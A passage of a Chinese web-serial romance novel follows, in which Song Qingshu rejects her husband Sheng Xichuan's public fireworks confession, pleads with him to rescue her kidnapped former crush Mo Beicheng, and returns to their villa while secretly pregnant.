宋清殊和楼珏都是现充,对二次元一窍不通,便提前一小时去了。
她们到的时候,化妆室里已经坐了很多跟苏沁年纪差不多大的初中生。
见到两人,一个个叽叽喳喳很兴奋,最终,替她们定了角色。
楼珏美艳性感,是第五人格里的梦之女巫。
宋清殊是清纯挂,是美少女战士。
“我的天,真的太还原,太美了!”
“想做漂亮姐姐的狗,呜呜呜!”
两人被一帮小朋友围着,一边化妆一边用手机狂拍,盛赞了十几分钟的美貌,情绪价值给的足足的。
等装扮好后,才从化妆间走出来。
在酒店走廊里,她们遇见了盛熙川和苏白。
跟她们这种从头到尾全副武装比起来,两人的cos简直不要太简单。
苏白穿了一件学院风西装,戴了黄色假发,他cos的人物,宋清殊不认识,应该是个高中生。
而盛熙川,黑色西装套装,白衬衫,黑色长披风,高礼帽,白手套……
宋清殊认识,是夜礼服假面。
彼此抬头看了一眼,宋清殊没错过盛熙川脸上一闪而过的尴尬。
“居然这么巧,你们出C都能出到情侣,我天,这是怎样的默契呀!”苏白夸张大叫。
从宴会厅出来接人的苏沁更是跑过来打量两人。
“真的太好看,太般配了,熙川哥哥,清殊姐姐,来我给你们合个影!”苏沁说着便硬把两人往一处拉。
苏沁过生日,宋清殊不想扫她的兴,便和盛熙川站在一起,任由她用手机狂拍了几张。
苏白苏沁兄妹都在直呼缘分的奇妙,还不断寻求新加入者的共鸣。
宋清殊在心里笑得无奈。
如果这不是两个狗头军师的计谋,她把名字倒着写。
没想到盛熙川冷心冷面的一个人,还挺幼稚,居然任由别人把自己扮成这个模样。
夜礼服假面是帅的,盛熙川也是帅的,可这一切就是很违和。
除了楼珏和苏白兄妹,别人并不知道他们两人的感情状态,都在夸他们登对,郎才女貌。
又感慨他们的恩爱。
“盛熙川看上去那么冷,没想到还愿意陪着老婆玩cos,真的太宠了。”
“我就说宋清殊驭夫有术吧,咱们多学着点。”
宋清殊也听了个一言半语,只想笑。
怎么就断定她想玩?
苏沁人缘好,同龄的孩子来了不少,他们热热闹闹的吃点心,喝饮料,玩起了狼人杀。
反而是他们这些大人落单,要在一起社交。
楼珏的梦之女巫太诱惑惊艳,不断地有世家公子过来跟她聊天。
苏白明显坐不住了,过来找她:“顶层有台球室,你要不要打?”
楼珏想去,看宋清殊。
宋清殊忙说:“我记得你之前不就说想打台球吗?去看看吧。”
楼珏这才跟苏白走了。
宋清殊全程没怎么理盛熙川,她在沙发上坐着吃水果沙拉,他坐过来的时候,她要起身。
只听盛熙川沉声道:“去哪儿?我可没同意离婚,现在对外你还是盛家少夫人。”
宋清殊便没有动。
“有什么意义呢?除了爷爷,也没人在乎咱们两个离不离婚吧?”她低声说。
她可以在盛老爷子面前做戏,可在别人面前犯不上。
盛熙川一本正经:“怎么不在乎?我是盛世集团的掌舵者,我的婚姻状况直接影响集团的形象和股价。你知道股价下降会有多少人跳楼吗?”
宋清殊在心里翻了个白眼。
她是什么很贱的人吗?现在都拿陌生人的命来威胁她了。
外面的天黑透了,晚上9:00多,苏沁来拉宋清殊的手:“走,我们去看烟花秀!”
宋清殊还没反应过来,就跟着苏沁跑到了顶层的露台去。
随着一声巨响,对面楼顶炸开了烟花。
宋清殊这个角度正好能看到全景,一朵一朵冲上云霄。
烟花持续放了半个小时,绚丽多彩,看的人眼花缭乱。
宋清殊一边看一边想,苏家真的宠女儿,不是钱的问题,这种级别的烟花秀申请难度很大。
想想苏沁的14岁,对照一下她的14岁,突然有点心酸。
不,14岁还没发生那件事,她还是干妈的宝贝。
她那时的痛苦,只是因为知道自己是被宋家放弃的孩子。
对比她颠沛流离的15岁才心酸。
那样的日子都过来了,眼下的困难算什么呢。
半小时的极致盛放结束,对面楼顶又恢复了宁静。
一块大的LED屏映入眼帘。
上面闪烁的,是一行滚动的大字:宋清殊,我永远爱你。
“哇!原来是盛小爷向盛太太表白准备的烟花秀!”又有人惊叹道。
宋清殊猛地回头,发现盛熙川正站在身后,目光灼灼地看着她。
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第128章 失去她了
夜色里,盛熙川的五官没有白日里那么冷硬立体,在灯光下,竟然带了几分柔和。
但他看宋清殊的眼神满是期待,无比炽热。
此时露台上已经站满了人,除了这些世家的公子小姐们,还有很多苏沁的朋友,那帮十三四岁的初中生们。
一群人满怀期待的看着宋清殊,等着她给出一个合适的反应。
“我的天,简直太浪漫了!”身后一个小女生说,她问苏沁,“这是在求婚吗?”
“不是,清殊姐姐本来就是熙川哥哥的老婆。”苏沁说。
“哇,好浪漫!”
“真的太羡慕了,往哪个方向拜才能找到这样的老公?”
“姐姐,快亲你老公!”
一群初中生起哄,把氛围拉到了峰值。
盛熙川站在一步之遥处,对宋清殊微微张开双臂,好像等她过去拥抱他。
宋清殊不动。
她面无表情地想如何自处,确切地说是自保。
过去她看在校园里摆心型蜡烛的人还觉得浪漫,如今才知道简直是道德绑架和公开处刑现场。
烟花很浪漫,很上头,可放过之后呢?
没了就是没了,冷了就是冷了,谁也不能让一朵烟花停止绽放和凋零。
她和盛熙川,短暂的“爱情”也一样。
宋清殊又看了一眼那一行字“宋清殊,我永远爱你”。
谈什么永远?15岁的时候,她还以为自己会永远爱莫北丞。
宋清殊一个人,面对着几十张期待的面孔。
她突然站在原地,看了看众人,又看向盛熙川笑了:“太破费了,盛总,居然给了我这么大的惊喜。”
很奇怪,在今年之前她都没有进过职场,可她的商务公式化笑容,信手拈来。
幽暗的环境下,不知是不是错觉,她觉得盛熙川的脸色发白。
众人面面相觑,总觉得哪里不对劲,又说不上来。
被表白的人,下一步不该是拥抱接吻吗?
客客气气地说破费了是什么鬼,还叫盛熙川盛总?!
一群人觉得奇怪,又没人敢问。
夜风吹来,宋清殊的长发往后吹起,她还在公式化微笑。
“露台太冷,你们这些小朋友别吹感冒了,走,我们去室内。”
这群人,特别是苏沁的小朋友们,都是抱着见证顶级豪门浪漫的心态来看这场烟花秀和表白的。
怎么说呢,宋清殊的反应,着实泼了他们一头冷水。
“反应好冷淡啊。”又一个小女孩嘟哝,“霸总都喜欢这种类型的清冷小白花吗?”
苏沁在黑夜里看哥哥苏白的神情。
苏白摇了摇头,暗示她把人带下去。
“那咱们先下去吧!”她执行力超强,对着她的朋友们挥手。
孩子们走了,楼珏和苏白又开始撺掇着大人们回去,一时间楼顶只剩下了盛熙川和宋清殊。
两人沉默地看着彼此,好一会儿,宋清殊才开口:“盛总,没什么事我也就先走了。”
她想告诉他不要这样了,但又想,盛熙川应该不至于了。
他那样高自尊的一个人,现在不适应,不过是因为她先提了离婚。有了这次的兴师动众和她的不买账,他也就长教训了。
盛熙川许久没说话,他将手背在身后,紧紧握住,骨骼发出轻微的响动。
一直到宋清殊迈开腿要走,盛熙川才缓缓开口:“是苏白兄妹的主意,你知道的,我的确没有哄女人的经验。”
他神情尴尬, 解释的态度倒是很端正。
宋清殊点点头:“破费了,盛总,下次不要这样了。我说离婚是真的要离婚,不是跟你作闹要你哄我的意思。”
她冷静理智,脸上一点别的情绪都没有,就事论事。
盛熙川看着眼前人清丽的五官和冷淡的神情,心口像压了千斤巨石。
从宋清殊回国,到现在,半年多的时间。
他像大灰狼诱惑一只误入森林的小兔,一点点让她喜欢他,依赖她。
如今,不过短短几天。
他们原本要拉满的感情进度条,又回到了原点。
她又变成了那个初次见面时的宋清殊。
比那时更冷淡三分。
“我们已经走到这一步了吗?”他尽可能让自己听上去语气不要太沉重,更不要显得可怜,“宋清殊,这么点事,至于吗?”
宋清殊静静地看着他,开口:“怎么不至于呢,盛总,我小时候喜欢过舅舅是我理亏,你问问自己,这件事在你心里能彻底过去吗?”
是啊,能彻底过去吗?
不能的。
只能在无事发生时假装不存在,一有事发生,这件事就会从心脏某个角落跳出来,不停叫嚣。
那个声音告诉他:宋清殊爱的人是莫北丞,你要拼命表现自己,付出最大的努力,才能达到一个莫北丞毫不费力的高度。
稍有不慎,他便把你压得翻不了身。
盛熙川被问住了,他给不了答案。
“所以,就这样吧。我们,好聚好散。”宋清殊深深地看了盛熙川一眼,转身走了。
刚才的烟花放了太久,空气中还弥漫着浓浓的硝石味。
盛熙川站在顶楼的夜色里,整个人快要虚脱了。
他的双腿千钧重。
一直到苏白找上来,他还维持着一个姿势站在那里。
苏白从小跟盛熙川一起长大,从来没有看见过他这样的表情。
哪怕在他父母离婚时,他都没有现在姿态苍凉。
苏白沉重开口:“对不起,是我们没做好功课,不知道小清殊不喜欢这个。”
盛熙川站在夜色里,没有回头。
“我好像真的已经失去她了。”五分钟后,他轻声道。
苏白心疼得想哭,还想打自己一巴掌。
出的什么馊主意!
这件事发生后,宋清殊又过了几天清静日子。
她没空伤春悲秋,而是窝在楼珏的住处各种看视频,看地理杂志,励志找一个最宜居的城市出来。
暂时选定了国境最南边的花都。
那边气候四季如春,对她这种既怕冷又怕热的人相对友好。
生活节奏也慢,适合淡人。
她选好了,便和楼珏商量着先去旅游看看,可以在那边买个小房子。
谁知,还没出发去旅游,又发生了一件事。
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第129章 莫北丞出事
是莫北丞出事了。
有一批货他亲自跟着送到北欧去,这趟线路做了十几年,他熟。
根本没想到会在公海被人劫持。
听说这个消息的时候,宋清殊是懵的。
因为在这之前,莫北丞找过她好几次。
特别是出了沈小鸢和程宴的陷害事件后。
程宴现在还在医院,沈小鸢已经不知去向,据说,被沈家送到国外疗养去了。
说是疗养,圈内人都心知肚明的,知道是为了躲盛熙川。
沈家此时和盛家的关系早就降至冰点以下,盛熙川一定会找沈家麻烦。
莫北丞发过好几次微信。
内容无非是——
【小宝,盛熙川已经不信任你,跟我走吧】
【小宝,你骗不了自己的心,你还喜欢我,对不对】
宋清殊视而不见,后来直接设置了消息免打扰。
她自己都没想到,心里默默喜欢了8年的人,会在这种情况下祛魅。
哪怕知道了莫北丞喜欢她,宋清殊也并不觉得欣喜,只觉得困扰。
早干什么去了!
也许是表现得太冷淡,莫北丞慌了。
这一天,宋清殊在小区的花园里散步,直接被莫北丞拦住了去路。
她没想到会被莫北丞追到楼珏的小区里来,简直吃了一惊。
“小宝!”莫北丞唤她,眼神热切。
这段时间的折腾下来,他也瘦了不少,看上去神情痛苦。
他扳住宋清殊肩膀,让她看自己的眼睛:“你在躲我对不对,为什么?”
宋清殊不胜其烦,第一次对莫北丞发了脾气。
要不是他,她和盛熙川也不会这么快走到今天。
她喜欢过他这件事,原本可以随着时间遗忘的,是他杀了个回马枪,陷她于不义!
那天,她有点迁怒,对莫北丞态度也很冷。
“所以你要怎么样呢?舅舅?
我喜欢你的时候你不喜欢我,任由宋家把我送出过去,现在又开始用感情绑架我。非要我离婚,离开上京。
或者……把我逼死你才开心吗?”
她跟莫北丞吵架,眼睛很红。
莫北丞当时便心疼了,拉了她的手臂要抱她。
她不肯,两人在小区里拉拉扯扯,便又被有心人拍了,发到了网上。
那条流言只在热搜持续了不到20分钟,楼珏先看到,转给了宋清殊。
待宋清殊要澄清的时候,再看,已经下架了。
宋清殊觉得不妥,编辑了一个长微信给盛熙川解释前因后果。
中心思想是:“我虽然要离婚,却并不是为了跟莫北丞在一起选择离婚,我和他要是有什么,也不会在公众场合拉扯。”
盛熙川没有回复。
宋清殊知道,他不会信的,但她已经摆烂了,信不信倒也没用那么重要了。
没想到这件事过去还不到一周,莫北丞便被绑架了。
宋清殊赶到莫家的时候,莫家的空气一片凝重。
莫北丞的父亲和陆夫人都双眼通红,陆先生也一脸沉重。
“外婆呢?”宋清殊问陆夫人。
陆夫人叹口气:“听说这个消息,晕过去好几回了,现在人在医院。”
莫北丞是莫家二老的老来得子,宠的厉害,现在他出了事,莫家老太太急火攻心了。
“报警了吗?”宋清殊哑声问,心也跟着一揪。
陆夫人摇头:“没用的,那里不属于任何国家管辖,就算是出了事,也没人管的。”
宋清殊对这种事情一窍不通,又问:“对方要多少钱?”
陆先生道:“不要钱,那船货值9位数,不然你舅舅不可能亲自去。现在货扣下了,对方大概率会杀人销赃。”
之后,陆先生讲起了几年前发生在隔壁市的一个案子。
也是一个巨贾家庭的小儿子,带了一船电子产品出去,在公海被劫。
据说是斩断了手脚扔到水里,直接被鲨鱼围攻吃掉,尸体都没能回来。
宋清殊不寒而栗:“那这件事最后不了了之了吗?”
陆先生:“你懂得,无非是新闻里看到的‘表示慰问’和''强烈谴责'',不会再有别的政策了。”
至于把那帮海盗抓起来,只要他们不靠岸,谁有这个权力?
话说到这里,问题的严重性已经显而易见。
宋清殊握紧了拳,心口“扑通”乱跳。
因为紧张,她的指甲抵在手心,用力过猛,甲面被挣得发白。
说话间,沉默寡言的莫老先生也伸手捂住了心口。
这番言论深深地刺激到了他。
莫老爷子从椅子上往下滑。
“爸!”陆夫人赶忙过去扶他,又喊,“快来人!”
佣人们也赶紧七手八脚冲上来搀扶。
接着,莫老先生被救护车接走了。
一时间莫家只剩下了陆先生夫妇和宋清殊。
陆夫人也说不出什么来了,只是一个劲儿的流眼泪。
她向来坚强,宋清殊从来没有见她这样过。
陆先生不知道该如何安慰她,只是拉了她的手,长长地叹了一口气。
他们已经默认莫北丞必死无疑了。
“干妈,你别急,现在舅舅不还没事吗?一定会有办法的。”宋清殊说。
她自己也知道这番安慰多么苍白无力。
“没用的。莫家也好,陆家也好,再有钱,也只是商人,奈何不了他们的。”陆夫人已经开始抽泣,靠在陆先生身上流眼泪。
宋清殊实在是对这种事一窍不通,她干着急,又努力让自己有点头绪。
“什么意思?也就是说再有钱的人他们都不怕,他们怕谁?”
这句话刚问出口,她自己懂了。
“他们怕官员,劫财可以,最好不要引起政.治纠纷。”
这番话说完,她脑子里随即想到了一个人。
这些世家里,估计这帮海盗只不敢劫盛熙川。
宋清殊不懂政.治,可她知道,盛家老宅的警卫都有配枪,不是一般人家。
盛家自己又有邮轮,他们敢乱来,盛司令能血洗公海。
“我去求盛熙川行不行?”她突然说,“他一定懂这个,找他或许可以!”
陆夫人的眼睛肉眼可见地亮了一下,随即又暗了下去。
“这件事对谁来说都不是小事,盛家未必愿意费心思,再说,盛熙川本就对你舅舅有敌意,不太现实。”
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第130章 盛熙川暴怒
宋清殊准备离婚的事只告诉了楼珏一个人,但陆夫人知道她住在楼珏处,也知道两人在闹别扭。
陆夫人是宋清殊的干妈,又是莫北丞的亲姐姐,两边劝谁也不是,干脆选择了闭嘴。
这件事,陆夫人让宋清殊知情是因为拿她当家人,并不是想让她求盛家。
不是拉不下脸,而是认准了盛家不可能会帮。
陆先生和陆夫人想法一致,因此两人谁都没跟宋清殊说出一句让盛熙川帮忙的话来。
“试试吧,如果帮最好,不帮……不帮也怨不着任何人。”宋清殊白着一张脸开口。
她突然觉得悲凉。
如今,她对莫北丞的感情早已不复从前,甚至这几天还在心里对他有所怨怼。
可事关生死,再怎么样也不能袖手旁观。
她也好,盛熙川,莫北丞也好,或许并没有做错什么,他们只是被命运裹挟着,一步步走到了今天。
宋清殊果断去找了盛熙川。
不找他,没有其他人能帮上忙。
站在盛世集团楼下,她竟然有几分忐忑。
她打盛熙川电话,那边响了一会儿才接。
“有事?”声音冷冷淡淡,听不出情绪。
宋清殊习惯性掐手心:“我来你公司楼下了,能上去坐坐吗?”
那边电话挂了。
很快,杨端下来接她。
“看您今天过来,老板特别高兴。”杨端说,带宋清殊坐电梯上顶层。
宋清殊勉强挤了个笑脸出来。
她想说,一会儿盛熙川可能就要不高兴了。
心里着急,面上却又不能太急。
她知道,表现得越担心莫北丞,盛熙川的火就会越大。
电梯上行,宋清殊的心跳声大得吵到了自己。
她紧张。
杨端将她带到盛熙川办公室。
盛熙川在办公桌后面起身,神色有一瞬间的紧张。
但也只是一瞬间。
他让吴小爱端了水给她。
宋清殊在他办公室的沙发上落座,欲言又止。
“你怎么想起过来了?”盛熙川坐在对面沙发上,声带紧绷。
要怎么说?
宋清殊的脑子飞快运转。
最终,她选择了最直接的方式。
论智商,她自认比不过盛熙川。
百转千回,最后绕到救莫北丞身上,只会让他更加反感。
她双手把手里的马克杯握紧。
“我舅舅……莫北丞出事了,他在公海被绑架了,生死未卜,你能帮帮莫家吗?”
这件事显然盛熙川毫不知情。
因为宋清殊说这话时,明显看到他的瞳孔震了一下。
“你什么意思?”盛熙川问。
他以为,是宋清殊觉得前些天自己做的过分了,来找他求和来了。
他甚至在心里想好了如何给她台阶下。
没想到,一来居然是为了莫北丞。
莫北丞的事,盛熙川还真的不知道。他这阵子,刻意忽略所有跟莫家相关的消息,也没有人敢在他面前提。
宋清殊把马克杯放在了桌上,低着头像个犯错的孩子。
“我知道,这件事我来求你真的太冒昧了,但是整个上京,除了盛家,没人敢找他们要人。那船货,损失也就损失了,能不能让他们把人放了?”
一想起干妈哭得红肿的眼睛,宋清殊就心里不是滋味。
莫北丞对她也有长达15年的恩情在,她不能看着他死。
盛熙川有很长的一段时间没说话。
他沉默着点了根烟。
结婚的这半年来,他从来不当着她的面吸烟的。
“宋清殊,抬起头看着我。”他突然冷冷地命令道。
宋清殊抬头,对上了盛熙川冰冷里藏着痛苦的眼睛。
她呼吸一滞。
盛熙川的下颌线绷得死紧,许久,才缓缓开口问她:“为了救莫北丞,你愿意付出什么?”
这个问题是宋清殊没想过的。
她愣了一下。
轻声道:“你说。”
盛熙川唇边带了一抹讥讽的笑意:“可以不离婚吗?”
人命关天,每耽搁一分钟,就多一分危险。
宋清殊深呼吸:“可以。”
“呵。”盛熙川冷笑一声,站起身来。
“离婚和不离婚,都是为了莫北丞,宋清殊,我盛熙川是什么很贱的人吗?我是你们play的一环?”他生了大气,皮鞋踢在茶几上,发出一声闷响。
宋清殊脸色发白,指甲掐进肉里,垂着眼任他奚落。
良久,才说:“盛总,人命关天。”
看着面前的女人,盛熙川越想越气。
为了挽回她,他搞了那样盛大的烟花秀,没变成美谈,反倒变成了笑话。
谁知,她现在为了救莫北丞答应他可以不离婚。
他额头上青筋暴起,太阳穴疼得“突突”直跳。
“早说你可以为了莫北丞委屈求全啊。”盛熙川皮笑肉不笑,阴阳怪气道,“早知道的话,我搞什么烟花秀,不想离婚,直接找人把莫北丞绑架了威胁你,不是见效更快。”
“宋清殊,如果没有莫北丞,我们会走到今天这一步吗?我巴不得他早点死。你居然为了他来求我。是不是觉得,我这个人特别贱骨头?”
这些话一句一句像箭一样,对着宋清殊的心脏胡乱扎过来。
宋清殊咬紧嘴唇,手攥得死紧,恨不得找个地缝钻进去。
整件事情里,她不知道自己做错了什么,除了15岁时的那本日记,她什么都没有做过。
可全世界都在逼她,沈小鸢,盛熙川,霓娜,帕丽等人,没用一个不拿这个说事的。
她现在像个罪人,进退维谷。
“算了,打扰了盛总。”宋清殊的脸色白得吓人,缓缓站起身来。
“是我唐突了,您别多心。”
她不想哭的,可一张嘴就带了鼻音,眼眶里不断涌出液体。
“抱歉,打扰了。”宋清殊不想被盛熙川看见这样的一面,她走得飞快,在门口脚下一软,险些栽倒过去。
还是正要进门的吴小爱抓了一把她的手臂。
“多谢。”宋清殊带着眼泪强笑了一下,跌跌撞撞的离开。
她不知道该怎么跟陆夫人说,自己回到楼珏家,先关上房门哭了一场。
之后,宋清殊便病倒了。
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第131章 盛熙川妥协
起初只是头有点晕,到后来,不知怎么,觉得浑身发冷。
晚上的时候,宋清殊测体温,39度多。
她怀着孕,很多药物都不能吃。
楼珏便接了盆凉水,用手帕替她擦额头和身上,物理降温。
折腾了一夜,到第二天早上,体温还是居高不下。
不得已,楼珏便将她送去了医院。
孕妇高热很危险,她当即便被留下了住院观察。
与此同时,宋清殊从盛世集团离开后,盛熙川的怒火达到了峰值。
他脸色铁青,双目赤红,胸口剧烈地上下起伏,一呼一吸都是疼的。
愤怒,委屈,像汹涌的岩浆,在身体里翻滚再翻滚。
直到控制不住,他一脚踢翻了茶几。茶几上的杯具纷纷滚落在地,摔得粉碎。
隔着皮鞋,脚尖依然传来剧痛。
可身体的痛并不能短暂转移心痛,他喘不上气来。
盛熙川的情绪持续了两天。
这两天,他什么都做不下去,满脑子都是宋清殊为了莫北丞来求他的事。
他就该什么都不做,看着他死。
他死了,宋清殊会对他全心全意吗?
不,或许会恨他的不作为,两人的感情更加恶化。
更加?盛熙川要被自己的胡思乱想气笑了,他们已经到了这个程度,哪里还有什么余地。
这两天里,盛熙川在发脾气,莫家和陆家积极奔走,宋清殊在住院。
而莫北丞在海面上给自己争取时间。
他既然被宋清殊喜欢过,自然不是个软弱无能的男人。
哪怕死到临头,他也没有呼天抢地,以至于那帮海盗都被他镇住。
他说有一船货还有三天路过公海,由他的副手运送。
因为这个虚假信息,那帮海盗将他当成了有用的人,并没有当即撕票。
三天,是莫北丞给自己争取到的极限了。
而宋清殊住院的消息,盛熙川还是在别人嘴里得知的。
一个盛世集团的乙方,有意拍他的马屁,在工作软件上沟通完工作消息,说了句题外话——
“今天在医院偶遇太太,才知道太太身体有恙,我这里有一颗几十年的老参,明天给您送到府上,让太太补身体。”
深夜,上京公立医院。
值夜班的小护士打着瞌睡,一抬头,便看到了一道颀长的身影。
合体的烟灰色西装,身高将近一米九,精致的五官配上冷硬的神情,让人忍不住心跳加速。
“快看!”她用胳膊碰另一个小护士,那个小护士也抬起头来。
“什么?”
人影已经不见了。
盛熙川站在宋清殊的病房外,隔着窗子,看她的睡颜。
她生了什么病?
手臂上扎着留置针,整个人蜷缩在病床上,小小的一个,睡得很不安。
腮边挂着的那点痕迹,不知道是灯光还是眼泪。
在为谁哭,那个男人吗?
盛熙川不知道自己在外面站了多久。
宋清殊闭着的眼睛急速转动。
她做噩梦了。
梦里,宋清殊自己被带到了公海,砍断手脚扔进了海洋里。
无数看不清脸的人站在船上对她冷笑。
“宋清殊,你该死!”
她猛地蹬了一下腿,惊醒过来。
之后,坐起身,用手背擦头上的冷汗。
两天了,莫北丞生死未卜,几乎没什么希望了。
她呆坐许久,又开始胡思乱想。
是不是她回来就是个错误?
如果她不回来,就不会发生这一系列的事。
至少说,如果她不回来,盛熙川不会这样讨厌莫北丞,或许可以在这个时候伸出援手。
都怪她,她什么都没做,可一切好像都因她而起。
她的存在就是个错误。
宋清殊攥紧身下的床单,溺水感席卷了她,她张大嘴呼吸,尽可能让新鲜空气进入肺里。
却依然从情绪里走不出来。
不知是不是她的错觉,有个身影在病房前一闪而过。
宋清殊在医院住了两天,发烧反反复复,第三天才彻底退了。
同时,她接到了陆夫人的电话。
陆夫人在那边情绪激动,声音在发抖:“没事了!没事了,乖女儿,没想到盛熙川真的愿意帮这个忙,不知道你付出了多少……”
陆夫人说,盛熙川的人已经跟那边取得了联系。
谈判结果是那艘船货给他们,把莫北丞毫发无伤地送回来。
不然,盛家的邮轮就打过去。
宋清殊心里一阵激荡。
没想到,这个忙盛熙川还是帮了。
她还记得他怒不可遏的脸,和痛彻心扉的神情。
心里说不上来什么滋味,以至于她跟楼珏办出院手续的时候都在走神。
这件事,对盛熙川来说,应该是一种牺牲,乃至耻辱——
毕竟,从他的视角来看,是他亲手救出了自己的情敌。
宋清殊又去了盛世集团。
几天不见,办公室已经换了新的茶几,桌上的物品也都有变化,地板上有一道裂缝,应该是盛熙川发脾气砸的。
她坐在沙发上,神情局促。
“我是来多谢你。”
她拿出了一张支票来,上面有9位数,又局促地放在茶几上,“这是干妈的一点心意,谢谢你救了舅舅。”
盛熙川冷笑一声,没有说话。
宋清殊觉得,还是要把话说清楚,于是自说自话:“我求你救他,不是因为我还喜欢他,而是因为有我人生前15年的恩情在。
不管怎么说,当年的确是干爸干妈和舅舅把我带大的,也的确给了我很多爱和亲情。
我想离婚,也不是为了离婚后跟舅舅在一起,我早就对他没有不切实际的感情了。他对我来说,只是家人。”
宋清殊还想说,在结婚后,她才明确知道了什么是男女之情和心动,与她过去对莫北丞的感情是丝毫不同的。
又觉得在这个时候说这种话毫无意义,反而显得油嘴滑舌。
她点到为止。
“宋清殊,你该明白一点。”盛熙川有些不耐烦,冷冷开口,“离婚,或者不离婚,主动权永远不会掌握在你手里。”
他看上去对她说的话一个字都不信。
宋清殊脸色白得厉害。
他们也曾度过一段甜蜜的日子,是如何走到这一步的?
她站起身来,手心掐得生疼:“我明白,盛总。”
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第132章 何去何从
宋清殊又回到了临江别墅。
因为从盛熙川办公室出来没多久,杨端就打电话给她。
他应该是把盛熙川的话中译中委婉表达了。
“盛总说,家里还是要有个女主人,您总住在外面也不是办法,还是回来住的好。”
宋清殊知道,盛熙川说的一定不会这么客气。
莫北丞从公海回到上京,也需要几天时间,盛熙川能保他,就能让海盗再把他带回去,她不敢造次。
当天,宋清殊便收拾了东西回临江别墅了。
楼珏送她,开着车泫然欲泣:“早知道当初就该拦着你,不让你回国。”
宋清殊心情更沉重。
当初他们想的太简单,联姻而已,世家子弟都会走这一步,不是吗?
谁知,地位不对等的痛苦这样悠长且深远。
日子看不到头。
这痛苦怪谁呢?盛熙川,莫北丞,还是她?
还是那些觊觎盛熙川的女人,见不得他好的吗?
最根本原因还是他们的感情不牢靠,太肤浅。
毕竟,她没有替盛熙川挡过子弹,盛熙川也没有把她养大。
他们依靠对彼此浅显的了解,互生情愫,深入后,却因为不了解的那一部分,把彼此刺得遍体鳞伤。
哪怕不是他们这种世家,工薪阶级闪婚闪离的男女,不也是这样吗?
只是工薪阶级婚更好离一些,不似豪门世家水深。
但路是她选的,后悔也晚了。
所以,她还能分神安慰楼珏:“落子无悔呀,阿珏。
以我当时的精神状态来看,在国外再多待一天,说不定就死了,回来还是更好的。
再说,短短半年,我体验了这么精彩的人生还不行吗?留在国外就天天面对一个空房子和两个保姆。”
“那你的孩子……”
“走一步看一步吧。”
这几天情绪起伏太大,虽然发烧的时候医生说3周的孩子还查不出异常,但宋清殊总有不详的预感。
她如今已经在梦里看不清那张可爱的脸了。
人算不如天算,她前几天还在豪情壮志准备“去父留子”,现在不也要灰溜溜回去了。
回了临江别墅,保姆一见宋清殊殷勤极了,似乎生怕她觉得尴尬。
“您不在的这些天,先生每天都皱着眉头,闷闷不乐的。这下好了,您终于回来了。”保姆说。
宋清殊心中苦笑,心说兴许她回来盛熙川的眉头皱得更紧了。
她东西不多,交给保姆收拾,自己便回了房间。
她把自己的孕检结果也整理好了,准备拿给盛熙川看。
事情既然已经发展到了这一步,不说就是埋雷。
既然没办法让这个孩子只属于她自己,那就寻找一个最好的方案,共同育儿。
至于感情……她自己也说不清楚。
只能说,她还喜欢他,却真的不知道以后的日子如何过了。
盛熙川一直没回来。
凌晨一点多,宋清殊听见门响。
她在家居服外面罩了层外套,去迎盛熙川。
他喝得烂醉,由苏白送回来。
他们吵架,苏白劝了好几次,每次都里外不是人,很伤感情,也实在是劝够了。
这次,欲言又止了好几次,还是开口:“小清殊,人我给你送回来了。
熙川从来没有对任何一个女孩像对你这样上心过,听楼珏说你也是真的喜欢他。
既然互相喜欢,把话说开了就好。
不然,他天天喝成这样,你离家出走,都解决不了任何问题。”
楼珏没有告诉他宋清殊怀孕的事,这个女人嘴和宋清殊一样严。
苏白如果知道宋清殊怀孕,断不会把一个醉鬼交给宋清殊一个人搀扶。
可他不知道。
把盛熙川交给宋清殊一个人照顾,在他眼里是增进两人感情的好机会。
哪怕第二天盛熙川不记得了,宋清殊自己也可以邀功。
于是,苏白把盛熙川扔给宋清殊,头也不回地走廊。
宋清殊不得不把盛熙川接过来,努力支撑他的身体。
他比她高大魁梧上太多,全身的重量压下来,宋清殊显得尤其吃力。
晚班的管家听到动静,赶忙迎出来,看到这个情景就要上前帮忙。
“我自己来,你们去睡吧。”宋清殊说,把盛熙川的手臂搭在自己肩上,就要往室内走。
“你怎么在这儿?”盛熙川却脚步不动,声音冷冷地问她。
宋清殊愣了一下:“我以为你会希望我回来。”
不是你让我回来的吗?
这话她没说,给盛熙川留两分面子。
“呵,心又不在我这儿,人回来有什么用?”
盛熙川冷笑一声,双眼赤红,看宋清殊的神色带了几分不屑,“嫁给我,可真是委屈死宋二小姐了。”
宋清殊不想跟他吵架,只垂着眼好声好气:“你喝多了,我扶你上楼睡觉。”
盛熙川还是那副不屑的表情:“和你睡一起吗?”
宋清殊:“都可以,你要喝醒酒汤吗?我煮给你。”
“少假惺惺了!宋清殊,要不是我救了莫北丞一命,你问问自己,你会回来吗?”盛熙川说着,把自己被宋清殊搭在肩上的手臂猛地收了回来。
宋清殊的身形一晃。
她咬紧了唇,旋而道:“你喝多了,有什么话,我们明天再说吧。”
“不敢回答我是不是?宋清殊,被我说中了,你心虚!”夜色里,盛熙川脸上的悲伤浓的化不开。
宋清殊百口莫辩,心口像被人用钝器猛砸了一下又一下。
他说的没错,可她要救莫北丞,不是因为儿女私情。
这件事已经无法自证了。
没有人相信她。
盛熙川立在那里,高大的身形摇摇欲坠。
宋清殊又上前扶他,被他猛地一甩。
两人的手臂还没怎么碰到,但这次,她立在当场不敢动了。
“管家,你把先生扶上去吧。”她说。
又看向盛熙川,神色很静,“有什么话,等你酒醒了我们再说。”
她觉得,两人发展到了这个地步,已经不是感情用事的时候。
索性明天把话说开,今后的日子怎么过,让她也有个心理准备。
宋清殊说完,也不再跟盛熙川纠缠,转身先上了楼。
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第133章 盛老爷子去世
宋清殊没有给盛熙川做醒酒汤。
她看着管家扶着他去了主卧,她甚至没有再进去关心他。
不为别的,她怕盛熙川心情不好,万一失手撞她一下,伤了肚子里的孩子。
时至今日,两人的感情和生活都已经乱成了一锅粥。
她也顾不上他的心情如何了,先保护住肚子里的孩子,其他都是其次。
等明天,盛熙川醒了就跟他说孩子的事。
一来,看看能否借此机会缓和一下关系,二来,商量一下以后的日子何去何从。
离婚就离婚,不离婚,她希望盛熙川给她一个安置方案。
是合作育儿还是怎么样,起码要有个说法。
发生了这么多事,总不能黑不提白不提,就像什么都没发生似的继续过。
她和盛熙川都不是这个性格。
宋清殊一晚上都没睡好,一直到天快亮,才勉强阖上眼。
谁知一大早,院子里吵闹声一片。
盛熙川过来拍她的门。
“宋清殊,快起床,去老宅!”他的声音有明显的失控。
宋清殊心里猛地揪了一下。
她坐起身来,迅速换了衣服,脸都没有洗就跟着盛熙川冲了出去。
是盛老爷子不行了。
